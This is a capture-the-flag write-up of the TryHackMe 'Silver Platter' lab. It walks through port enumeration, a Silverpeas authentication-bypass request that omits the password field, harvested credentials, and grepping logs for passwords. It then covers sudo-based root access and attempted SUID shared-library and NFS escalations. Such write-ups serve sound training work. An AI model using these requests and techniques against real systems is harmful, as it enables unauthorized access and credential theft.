Silver Platter

Gaining initial foothold

Run nmap on the target IP address

$ nmap -sS -n -v -Pn [target_ip]
80 ...
8080 ...
22 ...

The results showed that there were 3 open ports: 22, 80 and 8080.

I started off by enumerating SSH at port 22 first, to find the version number and a potential CVE.

$ nmap -sV -n -Pn [target_ip]

After realizing that port 22 was least likely to be the vulnerable service (probably a rookie mistake for thinking that it was the vulnerable one in the first place :D), I went on to visit the website at port 80 instead

Information gathering

After running through the website with interception from Burp suite community, I viewed the sitemap generated (Target -> Site map), but didn't find any useful information.

After reading through the text content present, a particular term: silverpeas, and the username scr1ptkiddy caught my eye. I decided to research about it.

Silverpeas is a ...

Trying to attack the website

From the results obtained in nmapabove, I tried to lookup for CVEs related to the particular version of nginx the web server is running: nginx 1.18.0.

...

2. Enumerating port 80 with common silverpeas directories

From a quick on Google, I gathered various URL paths that are commonly used on a silverpeas application. Using the target IP and port 80 as the main host, I tried visiting the brief list of paths listed below:

/portal
/portal/login
admin
/portal/admin
/silverpeas
/silverpeas/portal
...

All the paths returned status code 404 (Not found).

3. Concentrating my efforts on port 8080 (running Silverpeas)

I decided to start trying to play around with port 8080 instead. I visited the website at port 8080 while behind a Burp suite community proxy. After running a quick nmap scan, the results shows that it is running a http-proxy.

$ nmap -sV -n -v -Pn -p8080 [target_ip]

I went on to try visiting the paths I tried on port 80 previously, and got a positive result for /silverpeas (redirection to a login page instead of status code 404).

I decided to run a quick directory gathering scan on the found URL path with gobuster. I utilized a few different word-lists found on Kali Linux, along with a few popular ones that is not part of the default installation:

a) /usr/share/wordlists/wfuzz/general/common.txt

b) /usr/share/wordlists/dirb/common.txt

c) DanielMiessler's SecLists (https://github.com/danielmiessler/SecLists)

$ gobuster dir --url http://[target_ip]:8080/silverpeas/ -w [wordlist]

I found a few positive results ...

4. Continuing my adventure on port 8080!

Searching for CVEs and exploits relating to JSP/2.3

From the X-powered-by response headers, ...

I tried using a few Metasploit payloads:

a) exploit/multi/http/struts_include_params

b) expoit/multi/http/struts2_content_type_ognl

Further enumeration of the webpage on port 8080

Inspecting source code

...

5. Further research on Silverpeas

After much research, I came across a vulnerability listing regarding silverpeas authentication bypass:

...

After playing around with the website at port 8080, I returned to Burp suite and looked through the gathered URLs. I found a POST request to a path with the AuthenticationServlet word present, this prompted me to test out the vulnerability I have found previously.

I sent the request to the Burp suite repeater and modified the request to remove the Password field:

POST /silverpeas/AuthenticationServlet 
HTTP/1.1 
Host: 10.10.14.253:8080 

Login=scr1ptkiddy&DomainId=0

Notice that the Login field (presumably the username section) has the value scr1ptkiddy, which was found in step 2.

The server returned the following URL value in the Location header:

http://10.10.14.253:8080/silverpeas/look/jsp/MainFrame.jsp

I visited the URL, and was navigated to a dashboard.

...

POST /silverpeas/AuthenticationServlet 
HTTP/1.1 
Host: 10.10.14.253:8080 

Login=Manager&DomainId=0

http://10.10.14.253:8080/silverpeas/Main//look/jsp/MainFrame.jsp

After looking around the website, ...

tim

cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

Privilege Escalation

1. adm group

After running a few enumeration commands (https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking/privilege-escalation/linux/enumeration), I found out that the current user (tim) is in the adm group through the id command.

tim@silver-patter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)

The adm group permissions allows the current user to read some files in the /var/log file. These files may contain sensitive log information, and are usually not readable by common users.

tim@silver-patter:~$ cd /var/log

# look for all files with the case-insensitive string "password"
tim@silver-platter:/var/log$ grep -irl --exclude-dir=journal password 2>/dev/null

# print all lines with the case-insensitive string "password"
tim@silver-platter:/var/log$ grep -ir password

Found in /var/log/auth.log.2:

Dec 13 15:45:57 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=10 -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database silverpeas:6.3.1

I tried to access the Postgresql database, but it appears that the common CLI tools associated with Postgesql is not installed on the system.

$ psql
$ pgcli
$ pgbench
$ pg_restore

...
Command ... not found, but can be installed with:
...
Please ask your administrator

Instead, I tried the found password: _Zd_zx7N823/ on the user tyler via SSH, and voila it worked!

After gaining a shell with the user tyler, I ran a few commands to check the privileges of this user. It appears the this user can run all commands with sudo privileges. Using the command sudo su root, I have gained root access.

# user is in the sudo group
tyler@silver-platter~$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)


tyler@silver-platter~$ sudo -l
...
...
User tyler may run the following commands on silver-platter:
    (ALL : ALL) ALL
    

tyler@silver-platter~$ sudo su root

root@silver-platter:/home/tyler#

To further my learning, I decided to continue enumerating the system as the user tim, and try to find other privilege escalation vectors.

2. Experimenting with SUID bit

a) /snap/core20/1974/usr/lib/openssh/ssh-keysign

/snap/core20/2264/usr/lib/openssh/ssh-keysign

are found to call a file with error: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory

Adding the file to /tmp after appending/tmp to $SHELL does not work, and the directory: /snap/core20/[1974/2264]/usr/lib/openssh/is not writable too

b) /snap/core20/2264/usr/bin/sudo: error while loading shared libraries: libsudo_util.so.0: cannot open shared object file: No such file or directory

files looks for shared libraries at LD_LIBRARY_PATH env variable instead of PATH

export LD_LIBRARY_PATH=/tmp:$LD_LIBRARY_PATH

$ ldd /snap/core20/2264/usr/bin/sudo # the other sudo bin and other bin (can't rmb) works too
/snap/core20/2264/usr/bin/sudo: error while loading shared libraries: /tmp/libsudo_util.so.0: file too short

tmp$ gcc -fPIC -c libsudo_util.c -o libsudo_util.o
tmp$ gcc -shared -o libsudo_util.so.0 libsudo_util.o
tmp$ file libsudo_util.o


... python3 server transfer to target
tmp$ mv libsudo_util.o libsudo_util.so.0

# after creating the shared libary file (above)
$ ldd /snap/core20/2264/usr/bin/sudo
...so /lib/x86_64...

$ ls -l /lib
lrwxrwxrwx 1 root root 7 Aug 10  2023 /lib -> usr/lib

# ** MISSING leading slash
# lib -> usr/lib instead of lib -> /usr/lib (??)

Perhaps after fixing the issue of running /snap/core20/2264/usr/bin/sudo (creating fake shared library, etc.), use the sudo binary to run sudo actions

$ find / -name "libsudo_util.so.0" 2>/dev/null

$ ls -la

It seems that we have rxw permissions for the libsudo_util.so.0 binary found

3. `/usr/bin/mount` with SUID

Run mountable share (NFS) on attacker hosting shellcode with SUID bit, mount the share from target and execute

Tried to run NFS server on attacker: https://linuxize.com/post/how-to-install-and-configure-an-nfs-server-on-ubuntu-20-04/

There were 3 mount binaries found with SUID bit. When trying to mount the share from the attacker machine, we got the error: ...

4. `/var/log/installer/autoinstall-user-data` (? TO CHECK CORRECT PATH)

Found hashed password: $6$uJuA1kpnd4kTFniw$/402iWwKzcYD8AMHG6bY/PXwZWOkrrVmtoO7qQpfvVLh1CHmiKUodwMGP7/awDYtrzpDHV8cNbpS1HJ6VMakN.

According to the room description, the system has a strong password policy. Thus, it will be really difficult and non-viable to try a password brute-force cracking attempt on this hash.

Conclusion

It seems that there is only 1 vector for privilege escalation.

PreviousTryHackMe

Last updated 3 hours ago

Silver Platter

Gaining initial foothold

Run `nmap` on the target IP address

Information gathering

Trying to attack the website

2. Enumerating port 80 with common silverpeas directories

3. Concentrating my efforts on port 8080 (running Silverpeas)

4. Continuing my adventure on port 8080!

Further enumeration of the webpage on port 8080

5. Further research on Silverpeas

Privilege Escalation

1. adm group

2. Experimenting with SUID bit

3. `/usr/bin/mount` with SUID

4. `/var/log/installer/autoinstall-user-data` (? TO CHECK CORRECT PATH)

Conclusion

Gaining initial foothold

Run `nmap` on the target IP address

Information gathering

Trying to attack the website

2. Enumerating port 80 with common silverpeas directories

3. Concentrating my efforts on port 8080 (running Silverpeas)

4. Continuing my adventure on port 8080!

Further enumeration of the webpage on port 8080

5. Further research on Silverpeas

Privilege Escalation

1. adm group

2. Experimenting with SUID bit

3. `/usr/bin/mount` with SUID

4. `/var/log/installer/autoinstall-user-data` (? TO CHECK CORRECT PATH)

Conclusion

Gaining initial foothold

Run nmap on the target IP address

Information gathering

Trying to attack the website

2. Enumerating port 80 with common silverpeas directories

3. Concentrating my efforts on port 8080 (running Silverpeas)

4. Continuing my adventure on port 8080!

Further enumeration of the webpage on port 8080

5. Further research on Silverpeas

Privilege Escalation

1. adm group

2. Experimenting with SUID bit

3. /usr/bin/mount with SUID

4. /var/log/installer/autoinstall-user-data (? TO CHECK CORRECT PATH)

Conclusion

Gaining initial foothold

Run nmap on the target IP address

Information gathering

Trying to attack the website

2. Enumerating port 80 with common silverpeas directories

3. Concentrating my efforts on port 8080 (running Silverpeas)

4. Continuing my adventure on port 8080!

Further enumeration of the webpage on port 8080

5. Further research on Silverpeas

Privilege Escalation

1. adm group

2. Experimenting with SUID bit

3. /usr/bin/mount with SUID

4. /var/log/installer/autoinstall-user-data (? TO CHECK CORRECT PATH)

Conclusion

Run `nmap` on the target IP address

3. `/usr/bin/mount` with SUID

4. `/var/log/installer/autoinstall-user-data` (? TO CHECK CORRECT PATH)

Run `nmap` on the target IP address

3. `/usr/bin/mount` with SUID

4. `/var/log/installer/autoinstall-user-data` (? TO CHECK CORRECT PATH)